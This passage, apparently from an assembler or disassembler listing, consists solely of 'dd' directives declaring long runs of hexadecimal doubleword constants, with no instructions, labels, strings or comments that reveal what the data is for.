5CB299Dh, 0A530572Ah dd 543C3B39h, 0A07980F7h, 0D1423883h, 0F51F01B5h, 0D67D9C65h dd 17F1E6FFh, 0D5379600h, 9DE29311h, 5642C194h, 352F7621h dd 0E11000F4h, 5AA43191h, 39E9FC5Ah, 2D78082h, 0D32564E5h dd 2E885063h, 0A913E075h, 38BA03E9h, 0E15A994Ah, 5DA022F7h dd 2FBEFD34h, 144C7D40h, 5E5C7CBFh, 17EF6E32h, 0D9AA7DFDh dd 6AD46F55h, 23176BBAh, 87FF0117h, 2F56DDB7h, 8501D090h dd 0AF165AADh, 645A196Ah, 0D8A7AAD1h, 3195E04Ah, 51C81383h dd 657ABA16h, 50001B23h, 531DF64Ah, 0A0BE2771h, 0A8F35A00h dd 109D5FAEh, 723F37E9h, 0E9BF4E0Bh, 0EB81C173h, 0B86F1F47h dd 61AAD697h, 2E31A5E4h, 0D09C98h, 615E6D8Ah, 44C325C5h dd 0FEC97105h, 81BA6AA7h, 80629A8h, 13CCBAD9h, 0B63FDB80h dd 0F887451h, 0BF57A08Ah, 3A360A08h, 8BFEB037h, 5B760F91h dd 32E9124Dh, 7A55C96Eh, 9D29A2B0h, 81F75299h, 120CBB4Fh dd 0A46B367Dh, 34E822Ah, 281688Ch, 99C63BCFh, 7DA6BA22h dd 2D20CAD8h, 4ECA982Ah, 812BC4F5h, 6E0271C9h, 0D10163C8h dd 2B13EDA6h, 3E85E7C8h, 0FEF4481h, 14A5BB47h, 0EBD3D18Fh dd 0A09DE3C8h, 0E6F8BF4Ch, 63D4BE80h, 5F8B4C44h, 3A6761F0h dd 2AF6B4Eh, 15B195B5h, 0BDD94E1Bh, 20BED233h, 0A4BB9223h dd 0C6019400h, 3534955h, 92C1599Dh, 111E5B24h, 20BB0257h dd 7601B78Eh, 0D39DCF2Ch, 222BB247h, 51809D3Fh, 9419EDAh dd 57C9B532h, 0C9327661h, 0B5E5CF18h, 62EBCB00h, 9F0BDF85h dd 371C3AD8h, 0D181B783h, 701A4A7Ah, 1BEC2054h, 79D0D884h dd 49B19D7Fh, 2A0FF95Ch, 0CBC015DBh, 8CB28925h, 0A72CEA04h dd 51E8E52Eh, 60513320h, 0A6896A84h, 27466A6h, 4CC1CCD4h dd 82BCF1DFh, 0D8B9FE8Bh, 48B66358h, 23F13C40h, 0C5D00B6h dd 5A0DA5CDh, 0D20006CAh, 5805087h, 9BF4344h, 24B3DAB8h dd 559444D8h, 7EF27DCh, 0FACC1057h, 88A85B0Bh, 1600C407h dd 0C07ED6FEh, 1AFC14CAh, 0C5458D09h, 0F5EB0957h, 2FF3896Ch dd 0D22BB121h, 3915717Fh, 0CB2E0729h, 0F33C76C1h, 2A999DD8h dd 60FA309Dh, 0E81C3DB5h dd 42207BC5h, 3C18D271h, 9C0B40Fh, 0FD5802EDh, 0F97502B2h dd 85BF8472h, 0ACF3E9B5h, 0A0018C1Ah, 62F0ABB8h, 3D30BA8Ch dd 0AF094E65h, 6A4B123Ah, 56BB1692h, 253F95FCh, 0B9ACF8C0h dd 959D010Bh, 71DF7412h, 0ECD03D82h, 9578D3C9h, 0FE0125FEh dd 0AFD203DBh, 728226D4h, 5C737DDAh, 29481951h, 4EA504F4h dd 0B7B57747h, 26F91058h, 80E1FF02h, 0D6742EE3h, 82045250h dd 2800C3F9h, 0A325E51Dh, 982F00F8h, 0C07830F4h, 0D04E0504h dd 0D56B61EEh, 745F022Eh, 0AD3F51D6h, 5BECD05Dh, 8CCFA30Ch dd 5DF9F3F6h, 2EBDF360h, 0B92041C9h, 0A2014B6Dh, 0BD2904C8h dd 9B340295h, 99B0C78Ch, 0F653AC90h, 0FF6297B4h, 438BA15Eh dd 0D076F301h, 0E2B7FC53h, 1335571Ah, 57811791h, 6EB1998Ch dd 41457E9Ch, 7826E0Eh, 0A7B374F0h, 4F47176h, 0AA4C6BDBh dd 0C487FE90h, 0C0014D4Bh, 6608E914h, 84401B68h, 9668F807h dd 60C8C74Eh, 74612582h, 4C690F47h, 0A4733869h, 76FDC70h dd 0BF476475h, 38192087h, 31259D29h, 69E0D133h, 0F8409ECDh dd 4EB3727Eh, 60498D43h, 778A0864h, 61603918h, 102EE934h dd 0E059A6AAh, 9FBB6D9h, 5D803861h, 97A3E455h, 0D2AF09BDh dd 810F284Ah, 89D69538h, 41BCD540h, 6F3E1CC7h, 372301E7h dd 613878B8h, 208F540h, 0D8E78461h, 8DEE61BAh, 0E88A2EEDh dd 0CB042158h, 0E86404B2h, 0A4C65C3Dh, 271136C1h, 3F68C104h dd 8B9E6E7Fh, 0AFE0438Fh, 5EB6E2EDh, 598FDB95h, 0A22F191Ah dd 97B1024Eh, 0F4C99D23h, 86782DA7h, 1CC81AE1h, 83733BC0h dd 0AD8802DDh, 8BF5C43Dh, 0D82CE37Fh, 177BD409h, 0A7515750h dd 92962776h, 88E7C098h, 17640045h, 6B3423CFh, 1A9D7977h dd 0BA60D553h, 85972BFAh, 8BAEF9DBh, 874C5830h, 54B5B486h dd 2A53D9FFh, 1D718CF2h, 0F494B350h, 8401ECD5h, 0E4EAB878h dd 221C7C2Bh, 0BFD95239h, 0BC2A5F77h, 0F6087ABh, 2A96D569h dd 96258EBFh, 4F80B2DBh, 3D731DD6h, 0CF2EFA74h, 2E906A29h dd 0A8C80C69h, 0FC9D858Dh, 8348F65Ch, 0A0A84BCFh, 2CEB508Dh dd 3ADF55B9h, 1CA83CB9h, 0BC0033A4h, 1A016058h, 0F44582BFh dd 0B79561h, 79090B09h, 0B08167E7h, 3E179BCFh, 0EBE01497h dd 0DF892F38h, 0A620C679h, 0D74B4569h, 15F1E635h, 98021418h dd 590FE9BBh, 705A5B62h, 0D6B07F9Dh, 0E5E57325h, 524F12C5h dd 0E18AB6C8h, 28F88559h, 651A09A7h, 0CC5D510Bh, 211D20D7h dd 0CDEF5B52h, 0F96E7C11h, 427B85Fh, 0A37C97C4h, 0D809EF41h dd 6694D520h, 10B02B0h, 5D2A3195h, 0E551103Ah, 0B5B4CB16h dd 584816DAh, 0C437001Ch, 560CB026h, 0AC853D4Bh, 677BBFh dd 18B3DBF3h, 12ACB006h, 0EBD980D4h, 0D89703DAh, 961D504Fh dd 0BB075F51h, 72578634h, 73C8829Ah, 5D07D387h, 39BB4634h dd 9AF07A6Ah, 0AD065E41h, 99FECC8h, 5A181787h, 73694774h dd 181B594Ch, 0DA27003Fh, 4FEDCAABh, 0BD1731CBh, 75AF12E1h dd 80F4A8F9h, 0FD29DD2Ah, 92E600D3h, 0B6B59EC0h, 2C079A4Fh dd 7D7B68B7h, 35819B44h, 9E6AC486h, 0D363C032h, 25805CCCh dd 7CD952E7h, 2F7B0054h, 7F303145h, 8997F523h, 81842050h dd 58A099CBh, 501331E6h, 82869B20h, 0DD0523AEh, 425CE632h dd 6A5F5241h, 4ABD6F6Fh, 896622EAh, 2F2861E1h, 257C698Ah dd 0B1542735h, 4A1B46DEh, 690F42AAh, 0D975BA17h, 1296130Ah dd 8085B238h, 0B4FD50DAh, 3931006Ch, 29018187h, 993F92A9h dd 0C0775C8Fh, 5C9E4910h, 0A80E00E5h, 0EFA7E3D3h, 68C59687h dd 6FBA1B79h, 3D1C2377h, 3560EECEh, 0B5059D03h, 0CD499979h dd 2936C042h, 0F5B59BDh, 37882FB3h, 40E57CA5h, 0BBFC0EF1h dd 0FD37E0Ah, 5058A386h, 0C149003Dh, 728E319Bh, 1905B224h dd 324D2ABDh, 0D84C90EEh, 0F20FBF50h, 5312BC68h, 19B9CB04h dd 0E545A6FBh, 0B8216670h, 1AC1B7B2h, 0FD752E15h, 0C200D8A2h dd 6C6E34F8h, 2E099913h, 735FAFB7h, 181659E5h, 0EC0C0226h dd 212DBD23h, 80B5EE75h, 9060FA80h, 0BEC20FE0h, 17E4698Ch dd 0A4F4B861h, 9B2652FBh, 0BA11811Eh, 0F9D09BE1h, 4C5E9769h dd 0ABAED4h, 75DF2FF5h, 0DB105954h, 0B27AC65Fh, 17EBDE01h dd 8F912C5Ch, 8B9589DAh, 0ED9E572Fh, 75C1BB03h, 0A5E92EA1h dd 6F1113BBh, 57202593h, 999DC298h, 0BCBC184Eh, 0A000B6D7h dd 253715C7h, 0E1CE8DB3h, 0B5207122h, 0FDD86B93h, 0D074FBFh dd 0B9618AECh, 0E09EC500h, 0F159B526h, 444817F9h, 0A1290B49h dd 375D6A07h, 9DA8A6B8h, 88445E5h, 0BCCCA96Ah, 74FC4871h dd 1062B75Eh, 94402ED9h, 0FF12DD1h, 0EF12AE54h, 0F809F0E0h dd 0FA024A29h, 13FAAC35h, 393F6FF7h, 551B04A2h, 0AC2BECCh dd 0A7AB55CDh, 25DE1AD6h, 92D7CE79h, 4A5E8EDEh, 0F62B12h dd 47C031F5h, 0FC93AB49h, 574B6BBEh, 7D008F64h, 0B090FF10h dd 437CD36h, 7F319AB2h, 0A7DAEB7Ah, 1FC3FED1h, 0BF80F3BCh dd 5225B368h, 9002E65Bh, 0D1BBA058h, 19BF1266h, 89E1E299h dd 4F3DD5B7h, 4C0B1B9Eh, 854DF6B6h, 0BA18E595h, 0C4B6D134h dd 5FF7FEA4h, 80154354h, 6809EF81h, 126A0D3h, 3EC8BB37h dd 0E807043Ah, 0B9875E0Dh, 0E0F0DE89h, 980AD1Dh, 1F0462F8h dd 0F2103FFh, 0D0BAA831h, 362109C2h, 880BB966h, 5E586255h dd 343FDCDBh, 985800B5h, 89334AA7h, 0B2F14B8Dh, 2D1594F4h dd 0C617D9B7h, 40B332DBh, 1BF09D0h, 79D7F8FBh, 3B604056h dd 28237C08h, 54982503h, 1C70BC73h, 89EEB7FCh, 1F423A97h dd 0EA7EAF2Bh, 80F82AE0h, 0BF7F02CBh, 6519ABF1h, 0F742DF2h dd 13258091h, 8A19E814h, 9DAF006Ch, 495A4223h, 0C602EFC0h dd 0FEAD1B3Bh, 5BFB82A3h, 40C5FC90h, 799249ACh, 0C4E2FB09h dd 3C437B60h, 1DEEB90Eh, 88846569h, 12745403h, 1FF661F7h dd 4E39B240h, 0CE6EAF13h, 0A84EEA57h, 211705F8h, 0E0AAC85Bh dd 1F4F8D91h, 74A66CF7h, 0D9A18D25h, 521B648Eh, 40AFD916h dd 0A03EBB78h, 0E4252450h, 23161071h, 0B99C0041h, 0A2B32535h dd 7C0474E5h, 7A1A3AEEh, 5F97F6EAh, 822AB5A0h, 8181205Dh dd 7A4768D7h, 0C73897BAh, 41E3D6Dh, 718924A0h, 215801A5h dd 0F4615B07h, 0D2BCF87Bh, 42E16D12h, 928CAC6Ah, 0AC3A42E1h dd 0C82B80F8h, 9C219D09h, 89D18236h, 0CEFE6585h, 9C619B91h dd 7AD6D8F7h, 0C2606F8Dh, 554C0150h, 0DD81BF47h, 0F9BC2ECFh dd 9B7E5127h, 8529CB02h, 0DAFA90Dh, 17522030h, 9773D5DEh dd 88CCDB2Dh, 569527BDh, 0D2C30945h, 0A4357923h, 1DF30258h dd 0D6896137h, 394699D7h, 25860414h, 6529BB2Eh, 2E159E42h dd 0C2D687C9h, 81A750h, 6F641D21h, 66DFCAADh, 0E47F0C82h dd 0B2215BBDh, 6F34844Eh, 6AF88B02h, 0E0E76DF5h, 3295A127h dd 82A07200h, 8A605D90h, 0E984C5F4h, 0A9AE5006h, 0ACAEE94Ah dd 19E68C1Ah, 3AE37805h, 0C304BB3Dh, 0B902332Dh, 3DDD0EF1h dd 1A7B0AABh, 0E910995h, 0EBC6E755h, 0CFFC23ECh, 0E14E0E62h dd 3BFC072Eh, 2B431D7Ch, 0BFD291C0h, 5BB420F4h, 8142B664h dd 0F8DAE381h, 6E3ECF71h, 4CE000F0h, 7578EB89h, 0A14D7187h dd 0DC2E199Ch, 65F60352h, 4AED2E4Ah, 98C18BCh, 0BBBE3ACAh dd 2ED06E2Dh, 0E3F8529Dh, 3F4425CDh, 7693CE5h, 0DD89F584h dd 47E1154Dh, 8EBAD4F1h, 35E70125h, 7730761Ah, 0B280C337h dd 8218EFF2h, 4D762758h, 452D1164h, 58F95E17h, 3E094A28h dd 792E3F74h, 0BD33024Dh dd 71D52491h, 3BED4B8Ch, 0E6455240h, 58630E2Ch, 0FFA0AD31h dd 828CBFE1h, 0E5605725h, 63B11A29h, 0DF9BA02h, 9FA4757h dd 414F03B9h, 8A4A6C43h, 53275E58h, 829EEEFCh, 0E89CDAC2h dd 17557140h, 74BF6080h, 38EE25B4h, 0BBDB29E2h, 55B4370h dd 32DF36B2h, 16D5A844h, 14EC04C1h, 0BACCBBC4h, 0BA4FDFA2h dd 482E1D2Dh, 2B96293Bh, 0EA9232A8h, 0B69220DAh, 0BE4500C8h dd 818C1B2Ch, 0B69009DBh, 0CCD532EEh, 89C179EDh, 10C36E60h dd 0F6BA98D3h, 11616BC4h, 3182A256h, 8913FD95h, 8010774Ah dd 0BE00761Bh, 8DB4ADFh, 9DC58h, 68BA8E89h, 26DEFAE4h dd 0EA0E3FEDh, 755B0980h, 0FF2EC7E5h, 2B781180h, 2F64562h dd 0E7F49D46h, 0E275DA8Fh, 0F2B25732h, 1CE8F175h, 93D56561h dd 562400FFh, 225513BFh, 0CB955F68h, 0C4B0D15Bh, 0D78952D4h dd 9E20AA31h, 769234h, 27DF91E7h, 2FD4693Ah, 0B00BC477h dd 0F47236EFh, 319E4095h, 66052C3Bh, 0C3D2537h, 0ED17FE00h dd 12585F5Bh, 0BBFFCB80h, 65BF1260h, 2C9A979Dh, 2B075F7Eh dd 1B4E90Fh, 80AEDEAAh, 10D8237h, 4BF07E3Dh, 3A21CDB5h dd 18C1D1B5h, 0B1D5E72Ah, 1F6AA353h, 0E7D1AD05h, 30AD974Fh dd 4FE7F35Ah, 94EF3C85h, 4EDBAB58h, 0D160AFD2h, 979D2942h dd 98AAAC5Ah, 8032BDDFh, 0F3AC5D4h, 839EDBC6h, 74F26225h dd 3404DC65h, 0E966B6BAh, 4EC0DBB8h, 35C66141h, 99221C00h dd 3233E3FFh, 20BF0250h, 9662919Ch, 8961BAD4h, 0BD2A1DB5h dd 68A0D8C5h, 48B470B2h, 0DF133B91h, 4DAFA0E1h, 6F1E4F09h dd 0A57571F5h, 8E7EE3F6h, 0CFC409FBh, 46C6BD89h, 57DAE025h dd 4C2C89B5h, 0B28A1FE0h, 78CE000Fh, 963F27Eh, 3340259Dh dd 6E614EF5h, 13524Dh, 0A293D198h, 9BB2E05h, 11E7D327h dd 0E6B8771h, 3DBA32CEh, 0DD29CA40h, 80226DC1h, 0BF12B311h dd 4B811EC4h, 0F8889A6Ah, 0F8008C1Bh, 0C174B843h, 0B7300698h dd 9D2769F8h, 0F43ED60Fh, 17B55900h, 0BFA95276h, 20401DB6h dd 66B24226h, 0CAD14C91h, 3849E201h, 352CEC58h, 0B1B876A0h dd 0C5097E25h, 38CF1DB2h, 0BC9DED4Fh, 228617CCh, 0CB32EE2Bh dd 0E696DD8Ah, 0F95B9B64h, 0F357DCEAh, 0C6324A25h, 0B9F85A7Eh dd 0AC17AC27h, 43253CC7h, 1974A4A7h, 0D099DC1h, 0E081EF04h dd 0E76AFCC2h, 4019B0D4h, 659101CDh, 2E28B5B0h, 4FD287C0h dd 768A933Dh, 0DDFA5244h, 0C3AC7B71h, 0BF575B25h, 458C8064h dd 0C5A4CA70h, 0F1969FB0h, 646E6DA5h, 0E6676016h, 8B502F7Eh dd 5F4B50C4h, 0DA6CBA04h, 0C8379AAEh, 0C03AC714h, 53F76AE7h dd 31AF085Ah, 19D9B713h, 4B2D0764h, 8C3B857Fh, 500AE4B3h dd 54EF007h, 6F78C0D2h, 5F0C25BAh, 905550C2h, 1CF83D42h dd 408359B9h, 556A42Dh, 0B328D25Ah, 9C0BEB61h, 7433FEC7h dd 59EDE9A2h, 2509784Bh, 0AF732A3Dh, 0A0ACF996h, 0E9151696h dd 9379CEB3h, 0AB918CAFh, 73DA9A4Ah, 8BCD305Ah, 0FEBA50DFh dd 9FE7D497h, 7956A7B7h, 38AD1902h, 858B0A06h, 0ABDA8B60h dd 734C6AA6h, 8F39A24Bh, 9895B229h, 858E60FBh, 3A972F49h dd 58E40312h, 0E675CA44h, 0D0D19702h, 260D18Eh, 5CFA64A2h dd 0A56B5107h, 78FF7B30h, 0EC4A6922h, 0CB05BBF2h, 0AA8B2808h dd 96C9E7B1h, 0E16EDEDDh, 0F8AD2E27h, 0E0D1E7C0h, 0FE017BD3h dd 19406561h, 6E2B9693h, 0FB220AD1h, 90BF03Dh, 59CE7423h dd 1C881BDAh, 0CCD5E8C0h, 3C86053Eh, 0BB2915B9h, 0BD230D30h dd 0ED2EEF61h, 636AB9D8h, 319821F7h, 6C948595h, 0F3E95B16h dd 0A84EB9D2h, 0DCAE017Fh, 0E6541C07h, 29E1CC9Dh, 2D919512h dd 28E24CB8h, 7E9ADF2Bh, 3F5651CAh, 3060EB68h, 8C92FAh dd 0DDA338CAh, 0C67EB0E8h, 4903AEB7h, 85CD7503h, 528AFB2Dh dd 0B4F55175h, 0E854BBA8h, 51A17607h, 9C26E67h, 0ED925D89h dd 0D753C07Fh, 0C01B12D4h, 0CF6B354h, 4B619D31h, 0EF5D290h dd 44F8DEE2h, 0C5A42175h, 70828B97h, 8A7CBFA2h, 93680CDEh dd 8E86108Bh, 0CE73D6E1h, 7C716178h, 0BF1402FCh, 3FF8B30Fh dd 5F2FC756h, 31900011h, 0F904A765h, 1A462FECh, 60A95700h dd 0E382E5A8h, 0E67E0204h, 330EBE97h, 45BB7860h, 1A416CEAh dd 0CC5C12AFh, 0AF1C5E5Bh, 0C9A2B621h, 0D1A6C4h, 0B51A5711h dd 0CEAE810Ah, 7632E927h, 2D1A490Dh, 859AD9FFh, 0AA5FE1A1h dd 0D99513C0h, 0F0808029h, 0CF9561ECh, 0B7DE4085h, 775A2C5Ah dd 11D4491Fh, 69B5C2F0h, 0FAED5517h, 0A1E0F4E8h, 131C5BD5h dd 44519D29h, 0ABD98BF8h, 14C8FEDAh, 55F869CEh, 0FF27D2C4h dd 0C068EDD1h, 799C010Ah, 99099D71h, 0E4161FC0h, 0F39F1C62h dd 38A10075h, 4645F240h, 263AA200h, 98B6645Eh, 5BF70481h dd 0EE63B7CAh, 4821488Bh, 48F60212h, 500DEAE0h, 36FA604Bh dd 3AA20B94h, 0BDCD10F7h, 0DD334A01h, 0B5F201B3h, 0F0BB0307h dd 257D4326h, 0FF597BE9h, 100598C7h, 9F4D30FBh, 0B0097959h dd 5D91FAF9h, 0B89000B7h, 8504D921h, 0F8099293h, 7F6E755Ch dd 8AAC6D52h, 0BC09BFB5h, 8F9C572Fh, 0D4C494h, 0DF749EF1h dd 0A67011E0h, 29BD0B09h, 0A7605B02h, 0A96AF907h, 17C0FE4Dh dd 2BF12FCh, 4FBCBB4Ah, 0E6F735C0h, 9D0B0C15h, 0B5790579h dd 2DF5D57Fh, 3DBC68h, 0BF217022h, 0DCDB6E6h, 297E0497h dd 18A27AACh, 0C508D12Ah, 0F0B01728h, 32B82B8Fh, 133D32F9h dd 5B270E6h, 598D5300h, 0B619FD3Fh, 0C72B3B09h, 600F0778h dd 0C8AE8B14h, 0BF090F52h, 0F55F61CFh, 0DB6025C4h, 8FD5BB49h dd 0AE334ABFh, 0BAF8F144h, 4D34DCF3h, 0B263C4B1h, 29120064h dd 0C34B5C04h, 0F0DB0092h, 39B10DB2h, 0B00BD307h, 7529DFB3h dd 3A01296Ch, 0D7DE8DF6h, 0A9144A8Fh, 50D108Eh, 0E9E5E092h dd 4C958770h, 0DC2000D5h, 1CF71171h, 0F4008C64h, 0FB6B08D4h dd 17A41BC4h, 72A9D74h, 4E491Bh, 8FCF8144h, 2B01CDFDh dd 40489911h, 503DBED5h, 1EC33751h, 0BFCB8001h, 998482Bh dd 0D80DABA0h, 133DE961h, 0F98B352Ah, 5BD8275h, 0C6EC5515h dd 8D302245h, 0F22B5A35h, 59BDC4F3h, 7601434h, 0B6740A12h dd 7E251077h, 33DC0127h, 5E494449h, 0D3C5B921h, 90F0208h dd 944254B9h, 372F0B54h, 0D8180020h, 0A52FDB7Fh, 3B261724h dd 19131588h, 34097261h, 0B79FFC17h, 386904C8h, 0A9A08178h dd 0F9610722h, 9041C02Bh, 0F23A1B55h, 0C3A692CCh, 0E3E7E8A0h dd 6228DB75h, 0A125C36Dh, 60915B22h, 8BFAF381h, 0AD635D3Eh dd 809DDBDh, 11863557h, 82438018h, 97392AA1h, 79B5CF30h dd 82B1598Ah, 26D9BD23h, 71997355h, 2184C31Ah, 25E4E799h dd 0AFE28E2h, 0B53DBABAh, 9C76A459h, 4B33C159h, 0F6C63188h dd 0E7BB6620h, 434DB56Bh, 0CA6AFFCBh, 30DB7B41h, 2BE1E9A2h dd 0BFAD8F38h, 876056EFh, 2650C75h, 1E629A0Dh, 6D77A611h dd 62144439h, 51895702h, 0CDAD9353h, 3F674074h, 0E50B78FBh dd 0BBF3652h, 6034540Bh, 0C08AE881h, 610EFF1Ch, 2685217Fh dd 30FE1602h, 0F85A6B36h, 72869C00h, 20BB1EACh, 84171223h dd 5285006Ch, 5F25E376h, 33E1FF29h, 15C64525h, 0F934F5B4h dd 0DE2AA66h, 0F704BE85h, 0E8AFA1EBh, 2A127968h, 89C7B2C9h dd 0F6E6F659h, 7C1C3D2Dh, 2629100Eh, 1DE3960h, 4AF89873h dd 2BD258EEh, 0A26FE316h, 0BCAD017Bh, 0A336AEF9h, 0D7FC8403h dd 0E2AC4E72h, 963BDB4Ah, 5BC16EBh, 0AF1A85F8h, 1A3BCE32h dd 7BD4DE56h, 0CF8E01FAh dd 0DF98E090h, 78322A24h, 0E1EA7556h, 0D09A5355h, 0F07A2560h dd 0E162EF04h, 4BE4173h, 13136951h, 0D7091D0Ch, 0FB904F61h dd 0F5D7E830h, 36283AADh, 0F5ECC637h, 1942AB5Bh, 705325BFh dd 56572535h, 0DB4C0B77h, 0C4F7787Dh, 0D4AE6702h, 82E8D98Ah dd 935B9h, 0D0F1B168h, 32C8294Fh, 8F170024h, 7662828Ah dd 0D3003537h, 0E9E589FEh, 4BD2991Fh, 0DD9F20B0h, 0FB1FA50Bh dd 0EC4FFD4Eh, 0C3290361h, 3F4CC8A8h, 545697B6h, 0F1AA5B44h dd 0CFF2FC33h, 26A2294Ch, 3109C9D9h, 0A7915113h, 0FE547C62h dd 20377D49h, 0E32C6680h, 76FDEC8Eh, 63C0BD38h, 0E912E2B7h dd 74EA01EAh, 8204AD81h, 5586C781h, 7397D6E6h, 0B9FA78B8h dd 49DF5C95h, 0DEDD29D7h, 0D012F6D0h, 65EE87C7h, 5A2CE3F4h dd 2A2DD2A8h, 25C6E79h, 0A87FEFAFh, 0C4D503EAh, 0FF894F04h dd 35950460h, 0F0D99520h, 55F12C5Ch, 0E1BD0C93h, 851201C9h dd 2DB91911h, 5C8C1AA8h, 0AE4FBD8Eh, 5B34A314h, 515401AFh dd 28EB8A60h, 0C27880E1h, 2FE56EDFh, 665EFCC8h, 0D08B6005h dd 13AAF6AEh, 80BB19E7h, 9686DC8Fh, 0DCE1BEh, 1AAB0AD7h dd 0B5FF12A1h, 0F6355E9Fh, 276B8413h, 0BB8024A2h, 78853F77h dd 3BC9C0B8h, 0CE4D0C8Ah, 0C78724BFh, 47C149AFh, 0F1C32658h dd 0F87E3FD5h, 71FC891Ah, 52908CB8h, 0C29FFA60h, 48C5DF8Dh dd 13D1A4ECh, 64905F59h, 751AFC1Eh, 2B5EBD7Eh, 9AB441BDh dd 0B1D4C0A8h, 0F11EC2h, 0BFD5874Dh, 793C2B91h, 0BD1002B0h dd 69722819h, 2A97485h, 46478251h, 6FEE120Eh, 8C142E5Fh dd 2C28D300h, 0B5E91809h, 0B80F8C29h, 0AA699C13h, 5F92BF00h dd 7C2291E0h, 1CEA1E9Ch, 0D2BB0EE9h, 0D937F2C7h, 25DDC971h dd 3A50C353h, 0C0900BEFh, 3B5884ACh, 0C5E27F25h, 0EBB71382h dd 0AA3E0E8Eh, 97789EDFh, 2305AFBCh, 0FC31B7BBh, 0DA00AAC0h dd 0BE38FFA8h, 0F97A69A9h, 7236E295h, 5B8DECA4h, 6A6EAE33h dd 23CF344Dh, 36755160h, 1913C8F8h, 9CE8568Bh, 0D9E69880h dd 675B661Ch, 306D39AEh, 3140290Bh, 789550h, 0C02B0345h dd 34895B08h, 0DC6374B5h, 0DD428C18h, 82271DF6h, 2E5EA60h dd 0EB565C9Dh, 0A6E4C410h, 0D187CBFDh, 66C62D85h, 121F489Eh dd 0CAE204B5h, 21D98B85h, 6A096074h, 0B3FB95C4h, 25B0758Fh dd 80F58039h, 0FFDEA504h, 0A9035Eh, 0AEE235E4h, 6120D2E9h dd 620C5C9Fh, 0DD320ACFh, 256FA6C0h, 9F2090B7h, 0BD0E0760h dd 0F87F4DF9h, 25B55308h, 0A5F3DF8Bh, 1D5ACDD0h, 0CA0D500Ah dd 17D03866h, 3775AED9h, 25A110B6h, 0B31A2EEFh, 0E99D5653h dd 0D4507Eh, 0B1EE9535h, 61C56554h, 8222E225h, 5745E64Fh dd 6B1364E1h, 6A4E5A8Bh, 0F0970924h, 0DD31023Eh, 9D230129h dd 2517E15h, 273BB82Ch, 0A861B507h, 4A242B33h, 0F068B7AAh dd 2642D8E5h, 295160B1h, 39A580D8h, 0C76CE2D3h, 0B5C123BEh dd 960332B9h, 50DE8609h, 28A7960h, 0B3CA29B0h, 95604576h dd 25809BEAh, 9E649661h, 2D81FB0Eh, 0E5EE604Ah, 5EFDAD48h dd 8578D0Fh, 0D13CBB70h, 8F792DE5h, 5CF0292Dh, 0B373EB21h dd 1FA3550h, 800534A5h, 54DDE8E0h, 0A31FB8ADh, 7ABB8547h dd 0C5FF13F3h, 272080ECh, 3BDF99Dh, 52C870AAh, 0B5C58CCDh dd 97745601h, 0F33D422Ch, 282AC0F3h, 67B6249Dh, 0CD2E02D1h dd 1557AFB7h, 0D1F24136h, 97B035C5h, 22BAF5A2h, 0CF7781DCh dd 0E137C00Ah, 46796EAEh, 0C7BEFEBDh, 309981Dh, 1C427DBDh dd 0F81973DDh, 0B51A7EC5h, 40D35396h, 97EA507Ah, 0CE6D26BAh dd 0AB1FEB60h, 4C53FA19h, 0EE5B1C6Eh, 95BD6045h, 3B753DAEh dd 0B44935BCh, 0B5037DBCh, 0C0BB7ED3h, 9F8C8CE1h, 14BA00A2h dd 0B789D0FDh, 9727871Fh, 55A67429h, 53D56900h, 268C8F49h dd 0AEA0AB1h, 0DE62C6DBh, 4E0A6000h, 5A37651Eh, 120593ACh dd 2E06B129h, 3821923Dh, 0E9A4D03Bh, 8F97F23Eh, 0D7916B6Ah dd 0CA2B36B5h, 5765779Ch, 44819599h, 257BE83Ch, 496376B3h dd 8ADAE1DFh, 0F85C213Fh, 268C7E6Ah, 0DF5B064Eh, 1A611F01h dd 0B414669Dh, 0B8EB4064h, 7700414Ch, 482E607Fh, 1CA67D2Ch dd 0EF898E8Dh, 9E942C55h, 0EF107194h, 5DC5725Ah, 7420BA53h dd 75F3EB7h, 0B5B9AFCh, 11DD6950h, 5D100857h, 3C055C47h dd 7AD82DAFh, 1DE36F40h, 15DD7Eh, 57905B35h, 53B13BBFh dd 0E05F5427h, 0FB23C790h, 956D8920h, 4DA44B7Ch, 0C5EB15DEh dd 8711A4D7h, 0C9125F03h, 899D81B9h, 5779100Dh, 40C2CD69h dd 8C0FFE55h, 202E0A45h, 0D3DA3FF2h, 0EE9C9525h, 61359F5Dh dd 0D1FFDC04h, 276184C1h, 89D0E37Ah, 0A89A7534h, 24AD7C4h dd 503522AFh, 4A971BC6h, 76E4406Ch, 743500AEh, 173C648Ch dd 0A1160577h, 49FBE90Bh, 117B153Fh, 0E76625BFh, 109E0806h dd 0D19D3102h, 0D0D67B2Ah, 0BE598459h, 686016E1h, 1DACDBADh dd 49D0038Ch, 0E690A55Eh, 86DD60CFh, 0F0981B7h, 0FD50F9BFh dd 72BBF698h, 39899013h, 0FA892DB8h, 65FB6DD5h, 6B6C2018h dd 3D24BFBBh, 0F227E1AEh, 0DF569F81h, 1283AED6h, 0E65E858h dd 0F2121172h, 1DAC84Ah, 0A777ADBFh, 0A5A3600Dh, 0E85E79E9h dd 8CA601BAh, 7195463Eh, 2029C5C8h, 94970414h, 8514E11Eh dd 0E7A2EA8Dh, 309B08Eh, 0E609A979h, 183DC170h, 9C71E401h dd 592DF910h, 7ED491D4h, 0B64AFB78h, 82055CB4h, 2AAD0160h dd 0CB7A5CB7h, 60616AD5h, 4BC7800Ch, 0FCFE81CCh, 0F4012EF8h dd 0FC8FABBh, 207B53C5h, 0C003E793h, 21A6D900h, 4731F214h dd 96294CE0h, 0BFC82B00h, 59A79F99h, 0EED18B32h, 0F7802003h dd 7B50E9F2h, 579B8D7Fh, 4C1CCBA6h, 951CDA6Fh, 27AAFF88h dd 124B32CBh, 2EED6DC1h, 22F3F32Ah, 43BB3B10h, 0E9985EBFh dd 9D2B1546h, 92843D4Eh, 0F7C39DEBh, 292B72D4h, 7925F75Bh dd 80240113h, 0C0D18789h, 0F1025DEDh, 499EACF2h, 49044231h dd 5B315B19h, 6B96704h, 0F8E7982h, 0E041EDDDh, 3188BA2Eh dd 8560929Dh, 0CF95710Ch, 0CA06FE7h, 4F04EF7Fh, 6784F0BDh dd 127DA8C1h, 24CA76Bh, 0B9E1CB80h, 31BAA075h, 0A429A18Dh dd 82FC4FA3h, 0E70E118Ch, 41840160h, 0B8669FD0h, 83EF5F10h dd 0BBFFBF3h, 56D80CF3h, 888A9D28h, 4B6C2840h, 8033D813h dd 5E17D725h, 3555DABCh, 714309D8h, 5F72015Bh, 9620EF73h dd 0EC053125h, 0C782B548h, 0EAC2E251h, 0B8C43E09h, 0F1FE9Fh dd 6B6AAABBh, 0DF02811Dh, 457DED36h, 5A737F5Fh, 4A6436F8h dd 